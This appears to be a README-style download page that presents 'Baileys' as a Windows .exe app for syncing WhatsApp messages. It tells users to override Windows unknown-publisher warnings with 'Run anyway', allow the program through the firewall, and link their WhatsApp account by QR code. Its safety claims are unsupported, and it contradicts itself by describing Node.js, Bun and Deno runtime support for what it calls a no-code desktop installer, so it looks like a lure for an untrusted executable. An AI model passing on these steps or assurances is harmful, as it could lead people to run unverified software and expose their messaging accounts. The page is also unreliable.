Baileys helps you manage WhatsApp messages through your computer. It creates a bridge between your desktop environment and the WhatsApp web interface. This tool handles the technical connection logic so that you can focus on your messages.
You need the latest version of the program to run it on your Windows machine. Visit the official release page to find the installer that works for your system.
- Click the link above.
- Look for the latest version at the top of the list.
- Click the file name ending in .exe to start the download.
- Save the file to your desktop or downloads folder.
Your computer must meet these basic standards to run the application correctly:
- Operating System: Windows 10 or Windows 11.
- Memory: At least 4 gigabytes of RAM.
- Storage: 200 megabytes of free space.
- Internet: An active connection is necessary for the software to bridge your messages.
- Updates: Ensure your Windows version has the most recent security patches.
Follow these steps after you download the file:
- Double-click the file you saved to your computer.
- Windows might show a security box. Click "More info" and then "Run anyway" if the screen warns you about unknown publishers.
- Follow the instructions on the screen to install the program.
- Select the location where the program saves its files. The default setting works for most users.
- Click "Finish" to complete the setup process.
Once the program installs, a shortcut appears on your desktop.
- Double-click the Baileys icon to open the window.
- A QR code appears on your screen.
- Open WhatsApp on your phone.
- Tap the menu options in WhatsApp and select "Linked Devices."
- Choose "Link a device" and point your phone camera at the QR code on your computer screen.
- Wait for the green loading bar to finish. Your messages will now sync with the computer.
If the connection fails, try these methods to fix the problem:
- Check your phone connection: WhatsApp needs a stable Wi-Fi or mobile data signal to keep the bridge open.
- Restart the application: Close the Baileys window completely and open it again.
- Clear the cache: Sometimes old data blocks the connection. Restarting the app often clears these temporary errors.
- Firewall settings: If your computer blocks the connection, allow the application through your Windows firewall settings.
- Phone battery: If your phone runs out of battery, the connection drops. Keep your phone charged for continuous service.
Do I need to program anything? No. Baileys handles the code in the background. You only need to scan the QR code to use it.
Is the software safe? The app runs locally on your computer. It encrypts your communication to protect your privacy while you use the interface.
Does it stay connected forever? The connection stays active as long as your phone has internet access. If you turn off your phone or lose signal, you will need to let the app resync once your phone is back online.
The software uses advanced web technologies to mimic a browser. It manages WebSocket connections to keep your chat interface responsive. It supports modern runtime environments like Node.js, Bun, and Deno to maintain high performance. By reverse-engineering the web protocols, the software provides a stable experience that standard browser windows sometimes fail to deliver.
We release updates to match changes in the WhatsApp system. Check the download page periodically for new versions. Older versions may stop working if the WhatsApp web protocol changes. If you encounter errors, check the GitHub issues tab to see if other users reported the same problem.
